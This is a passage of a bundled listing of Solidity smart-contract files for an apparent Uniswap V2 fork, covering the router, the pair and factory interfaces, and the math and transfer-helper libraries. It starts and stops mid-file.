Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);\n }\n\n // force balances to match reserves\n function skim(address to) external lock {\n address _token0 = token0; // gas savings\n address _token1 = token1; // gas savings\n _safeTransfer(_token0, to, IERC20Uniswap(_token0).balanceOf(address(this)).sub(reserve0));\n _safeTransfer(_token1, to, IERC20Uniswap(_token1).balanceOf(address(this)).sub(reserve1));\n }\n\n // force reserves to match balances\n function sync() external lock {\n _update(IERC20Uniswap(token0).balanceOf(address(this)), IERC20Uniswap(token1).balanceOf(address(this)), reserve0, reserve1);\n }\n}\n", + "contracts/uniswapv2/UniswapV2Router02.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity =0.6.12;\n\nimport './libraries/UniswapV2Library.sol';\nimport './libraries/SafeMath.sol';\nimport './libraries/TransferHelper.sol';\nimport './interfaces/IUniswapV2Router02.sol';\nimport './interfaces/IUniswapV2Factory.sol';\nimport './interfaces/IERC20.sol';\nimport './interfaces/IWETH.sol';\n\ncontract UniswapV2Router02 is IUniswapV2Router02 {\n using SafeMathUniswap for uint;\n\n address public immutable override factory;\n address public immutable override WETH;\n\n modifier ensure(uint deadline) {\n require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');\n _;\n }\n\n constructor(address _factory, address _WETH) public {\n factory = _factory;\n WETH = _WETH;\n }\n\n receive() external payable {\n assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract\n }\n\n // **** ADD LIQUIDITY ****\n function _addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin\n ) internal virtual returns (uint amountA, uint amountB) {\n // create the pair if it doesn't exist yet\n if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {\n IUniswapV2Factory(factory).createPair(tokenA, tokenB);\n }\n (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);\n if (reserveA == 0 && reserveB == 0) {\n (amountA, amountB) = (amountADesired, amountBDesired);\n } else {\n uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);\n if (amountBOptimal <= amountBDesired) {\n require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');\n (amountA, amountB) = (amountADesired, amountBOptimal);\n } else {\n uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);\n assert(amountAOptimal <= amountADesired);\n require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');\n (amountA, amountB) = (amountAOptimal, amountBDesired);\n }\n }\n }\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {\n (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);\n address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);\n TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);\n TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);\n liquidity = IUniswapV2Pair(pair).mint(to);\n }\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {\n (amountToken, amountETH) = _addLiquidity(\n token,\n WETH,\n amountTokenDesired,\n msg.value,\n amountTokenMin,\n amountETHMin\n );\n address pair = UniswapV2Library.pairFor(factory, token, WETH);\n TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);\n IWETH(WETH).deposit{value: amountETH}();\n assert(IWETH(WETH).transfer(pair, amountETH));\n liquidity = IUniswapV2Pair(pair).mint(to);\n // refund dust eth, if any\n if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);\n }\n\n // **** REMOVE LIQUIDITY ****\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {\n address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);\n IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair\n (uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);\n (address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);\n (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);\n require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');\n require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');\n }\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {\n (amountToken, amountETH) = removeLiquidity(\n token,\n WETH,\n liquidity,\n amountTokenMin,\n amountETHMin,\n address(this),\n deadline\n );\n TransferHelper.safeTransfer(token, to, amountToken);\n IWETH(WETH).withdraw(amountETH);\n TransferHelper.safeTransferETH(to, amountETH);\n }\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external virtual override returns (uint amountA, uint amountB) {\n address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);\n uint value = approveMax ? uint(-1) : liquidity;\n IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);\n (amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);\n }\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external virtual override returns (uint amountToken, uint amountETH) {\n address pair = UniswapV2Library.pairFor(factory, token, WETH);\n uint value = approveMax ? uint(-1) : liquidity;\n IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);\n (amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);\n }\n\n // **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) public virtual override ensure(deadline) returns (uint amountETH) {\n (, amountETH) = removeLiquidity(\n token,\n WETH,\n liquidity,\n amountTokenMin,\n amountETHMin,\n address(this),\n deadline\n );\n TransferHelper.safeTransfer(token, to, IERC20Uniswap(token).balanceOf(address(this)));\n IWETH(WETH).withdraw(amountETH);\n TransferHelper.safeTransferETH(to, amountETH);\n }\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external virtual override returns (uint amountETH) {\n address pair = UniswapV2Library.pairFor(factory, token, WETH);\n uint value = approveMax ? uint(-1) : liquidity;\n IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);\n amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(\n token, liquidity, amountTokenMin, amountETHMin, to, deadline\n );\n }\n\n // **** SWAP ****\n // requires the initial amount to have already been sent to the first pair\n function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {\n for (uint i; i < path.length - 1; i++) {\n (address input, address output) = (path[i], path[i + 1]);\n (address token0,) = UniswapV2Library.sortTokens(input, output);\n uint amountOut = amounts[i + 1];\n (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));\n address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;\n IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(\n amount0Out, amount1Out, to, new bytes(0)\n );\n }\n }\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external virtual override ensure(deadline) returns (uint[] memory amounts) {\n amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);\n require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');\n TransferHelper.safeTransferFrom(\n path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]\n );\n _swap(amounts, path, to);\n }\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external virtual override ensure(deadline) returns (uint[] memory amounts) {\n amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);\n require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');\n TransferHelper.safeTransferFrom(\n path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]\n );\n _swap(amounts, path, to);\n }\n function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n virtual\n override\n payable\n ensure(deadline)\n returns (uint[] memory amounts)\n {\n require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');\n amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);\n require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');\n IWETH(WETH).deposit{value: amounts[0]}();\n assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));\n _swap(amounts, path, to);\n }\n function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n external\n virtual\n override\n ensure(deadline)\n returns (uint[] memory amounts)\n {\n require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');\n amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);\n require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');\n TransferHelper.safeTransferFrom(\n path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]\n );\n _swap(amounts, path, address(this));\n IWETH(WETH).withdraw(amounts[amounts.length - 1]);\n TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);\n }\n function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n virtual\n override\n ensure(deadline)\n returns (uint[] memory amounts)\n {\n require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');\n amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);\n require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');\n TransferHelper.safeTransferFrom(\n path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]\n );\n _swap(amounts, path, address(this));\n IWETH(WETH).withdraw(amounts[amounts.length - 1]);\n TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);\n }\n function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)\n external\n virtual\n override\n payable\n ensure(deadline)\n returns (uint[] memory amounts)\n {\n require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');\n amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);\n require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');\n IWETH(WETH).deposit{value: amounts[0]}();\n assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));\n _swap(amounts, path, to);\n // refund dust eth, if any\n if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);\n }\n\n // **** SWAP (supporting fee-on-transfer tokens) ****\n // requires the initial amount to have already been sent to the first pair\n function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {\n for (uint i; i < path.length - 1; i++) {\n (address input, address output) = (path[i], path[i + 1]);\n (address token0,) = UniswapV2Library.sortTokens(input, output);\n IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output));\n uint amountInput;\n uint amountOutput;\n { // scope to avoid stack too deep errors\n (uint reserve0, uint reserve1,) = pair.getReserves();\n (uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);\n amountInput = IERC20Uniswap(input).balanceOf(address(pair)).sub(reserveInput);\n amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);\n }\n (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));\n address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;\n pair.swap(amount0Out, amount1Out, to, new bytes(0));\n }\n }\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external virtual override ensure(deadline) {\n TransferHelper.safeTransferFrom(\n path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn\n );\n uint balanceBefore = IERC20Uniswap(path[path.length - 1]).balanceOf(to);\n _swapSupportingFeeOnTransferTokens(path, to);\n require(\n IERC20Uniswap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,\n 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'\n );\n }\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n )\n external\n virtual\n override\n payable\n ensure(deadline)\n {\n require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');\n uint amountIn = msg.value;\n IWETH(WETH).deposit{value: amountIn}();\n assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn));\n uint balanceBefore = IERC20Uniswap(path[path.length - 1]).balanceOf(to);\n _swapSupportingFeeOnTransferTokens(path, to);\n require(\n IERC20Uniswap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,\n 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'\n );\n }\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n )\n external\n virtual\n override\n ensure(deadline)\n {\n require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');\n TransferHelper.safeTransferFrom(\n path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn\n );\n _swapSupportingFeeOnTransferTokens(path, address(this));\n uint amountOut = IERC20Uniswap(WETH).balanceOf(address(this));\n require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');\n IWETH(WETH).withdraw(amountOut);\n TransferHelper.safeTransferETH(to, amountOut);\n }\n\n // **** LIBRARY FUNCTIONS ****\n function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {\n return UniswapV2Library.quote(amountA, reserveA, reserveB);\n }\n\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)\n public\n pure\n virtual\n override\n returns (uint amountOut)\n {\n return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);\n }\n\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)\n public\n pure\n virtual\n override\n returns (uint amountIn)\n {\n return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);\n }\n\n function getAmountsOut(uint amountIn, address[] memory path)\n public\n view\n virtual\n override\n returns (uint[] memory amounts)\n {\n return UniswapV2Library.getAmountsOut(factory, amountIn, path);\n }\n\n function getAmountsIn(uint amountOut, address[] memory path)\n public\n view\n virtual\n override\n returns (uint[] memory amounts)\n {\n return UniswapV2Library.getAmountsIn(factory, amountOut, path);\n }\n}\n", + "contracts/uniswapv2/interfaces/IERC20.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.5.0;\n\ninterface IERC20Uniswap {\n event Approval(address indexed owner, address indexed spender, uint value);\n event Transfer(address indexed from, address indexed to, uint value);\n\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n function decimals() external view returns (uint8);\n function totalSupply() external view returns (uint);\n function balanceOf(address owner) external view returns (uint);\n function allowance(address owner, address spender) external view returns (uint);\n\n function approve(address spender, uint value) external returns (bool);\n function transfer(address to, uint value) external returns (bool);\n function transferFrom(address from, address to, uint value) external returns (bool);\n}\n", + "contracts/uniswapv2/interfaces/IUniswapV2Callee.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.5.0;\n\ninterface IUniswapV2Callee {\n function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;\n}\n", + "contracts/uniswapv2/interfaces/IUniswapV2ERC20.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.5.0;\n\ninterface IUniswapV2ERC20 {\n event Approval(address indexed owner, address indexed spender, uint value);\n event Transfer(address indexed from, address indexed to, uint value);\n\n function name() external pure returns (string memory);\n function symbol() external pure returns (string memory);\n function decimals() external pure returns (uint8);\n function totalSupply() external view returns (uint);\n function balanceOf(address owner) external view returns (uint);\n function allowance(address owner, address spender) external view returns (uint);\n\n function approve(address spender, uint value) external returns (bool);\n function transfer(address to, uint value) external returns (bool);\n function transferFrom(address from, address to, uint value) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n function nonces(address owner) external view returns (uint);\n\n function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;\n}", + "contracts/uniswapv2/interfaces/IUniswapV2Factory.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.5.0;\n\ninterface IUniswapV2Factory {\n event PairCreated(address indexed token0, address indexed token1, address pair, uint);\n\n function feeTo() external view returns (address);\n function feeToSetter() external view returns (address);\n function migrator() external view returns (address);\n\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n function allPairs(uint) external view returns (address pair);\n function allPairsLength() external view returns (uint);\n\n function createPair(address tokenA, address tokenB) external returns (address pair);\n\n function setFeeTo(address) external;\n function setFeeToSetter(address) external;\n function setMigrator(address) external;\n}\n", + "contracts/uniswapv2/interfaces/IUniswapV2Pair.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.5.0;\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint value);\n event Transfer(address indexed from, address indexed to, uint value);\n\n function name() external pure returns (string memory);\n function symbol() external pure returns (string memory);\n function decimals() external pure returns (uint8);\n function totalSupply() external view returns (uint);\n function balanceOf(address owner) external view returns (uint);\n function allowance(address owner, address spender) external view returns (uint);\n\n function approve(address spender, uint value) external returns (bool);\n function transfer(address to, uint value) external returns (bool);\n function transferFrom(address from, address to, uint value) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n function nonces(address owner) external view returns (uint);\n\n function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;\n\n event Mint(address indexed sender, uint amount0, uint amount1);\n event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);\n event Swap(\n address indexed sender,\n uint amount0In,\n uint amount1In,\n uint amount0Out,\n uint amount1Out,\n address indexed to\n );\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint);\n function factory() external view returns (address);\n function token0() external view returns (address);\n function token1() external view returns (address);\n function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n function price0CumulativeLast() external view returns (uint);\n function price1CumulativeLast() external view returns (uint);\n function kLast() external view returns (uint);\n\n function mint(address to) external returns (uint liquidity);\n function burn(address to) external returns (uint amount0, uint amount1);\n function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;\n function skim(address to) external;\n function sync() external;\n\n function initialize(address, address) external;\n}", + "contracts/uniswapv2/interfaces/IUniswapV2Router01.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.6.2;\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n\n function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}", + "contracts/uniswapv2/interfaces/IUniswapV2Router02.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.6.2;\n\nimport './IUniswapV2Router01.sol';\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}", + "contracts/uniswapv2/interfaces/IWETH.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.5.0;\n\ninterface IWETH {\n function deposit() external payable;\n function transfer(address to, uint value) external returns (bool);\n function withdraw(uint) external;\n}", + "contracts/uniswapv2/libraries/Math.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity =0.6.12;\n\n// a library for performing various math operations\n\nlibrary Math {\n function min(uint x, uint y) internal pure returns (uint z) {\n z = x < y ? x : y;\n }\n\n // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)\n function sqrt(uint y) internal pure returns (uint z) {\n if (y > 3) {\n z = y;\n uint x = y / 2 + 1;\n while (x < z) {\n z = x;\n x = (y / x + x) / 2;\n }\n } else if (y != 0) {\n z = 1;\n }\n }\n}\n", + "contracts/uniswapv2/libraries/SafeMath.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity =0.6.12;\n\n// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)\n\nlibrary SafeMathUniswap {\n function add(uint x, uint y) internal pure returns (uint z) {\n require((z = x + y) >= x, 'ds-math-add-overflow');\n }\n\n function sub(uint x, uint y) internal pure returns (uint z) {\n require((z = x - y) <= x, 'ds-math-sub-underflow');\n }\n\n function mul(uint x, uint y) internal pure returns (uint z) {\n require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');\n }\n}\n", + "contracts/uniswapv2/libraries/TransferHelper.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.6.0;\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeApprove(address token, address to, uint value) internal {\n // bytes4(keccak256(bytes('approve(address,uint256)')));\n (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');\n }\n\n function safeTransfer(address token, address to, uint value) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');\n }\n\n function safeTransferFrom(address token, address from, address to, uint value) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');\n }\n\n function safeTransferETH(address to, uint value) internal {\n (bool success,) = to.call{value:value}(new bytes(0));\n require(success, 'TransferHelper: ETH_TRANSFER_FAILED');\n }\n}\n", + "contracts/uniswapv2/libraries/UQ112x112.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity =0.6.12;\n\n// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))\n\n// range: [0, 2**112 - 1]\n// resolution: 1 / 2**112\n\nlibrary UQ112x112 {\n uint224 constant Q112 = 2**112;\n\n // encode a uint112 as a UQ112x112\n function encode(uint112 y) internal pure returns (uint224 z) {\n z = uint224(y) * Q112; // never overflows\n }\n\n // divide a UQ112x112 by a uint112, returning a UQ112x112\n function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {\n z = x / uint224(y);\n }\n}\n", + "contracts/uniswapv2/libraries/UniswapV2Library.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.5.0;\n\nimport '../interfaces/IUniswapV2Pair.sol';\n\nimport \"./SafeMath.sol\";\n\nlibrary UniswapV2Library {\n using SafeMathUniswap for uint;\n\n // returns sorted token addresses, used to handle return values from pairs sorted in this order\n function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {\n require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');\n (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\n require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');\n }\n\n // calculates the CREATE2 address for a pair without making any external calls\n function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {\n (address token0, address token1) = sortTokens(tokenA, tokenB);\n pair = address(uint(keccak256(abi.encodePacked(\n hex'ff',\n factory,\n keccak256(abi.encodePacked(token0, token1)),\n hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash\n ))));\n }\n\n // fetches and sorts the reserves for a pair\n function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {\n (address token0,) = sortTokens(tokenA, tokenB);\n (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();\n (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);\n }\n\n // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset\n function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {\n require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');\n require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');\n amountB = amountA.mul(reserveB) / reserveA;\n }\n\n // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {\n require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');\n require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');\n uint amountInWithFee = amountIn.mul(997);\n uint numerator = amountInWithFee.mul(reserveOut);\n uint denominator = 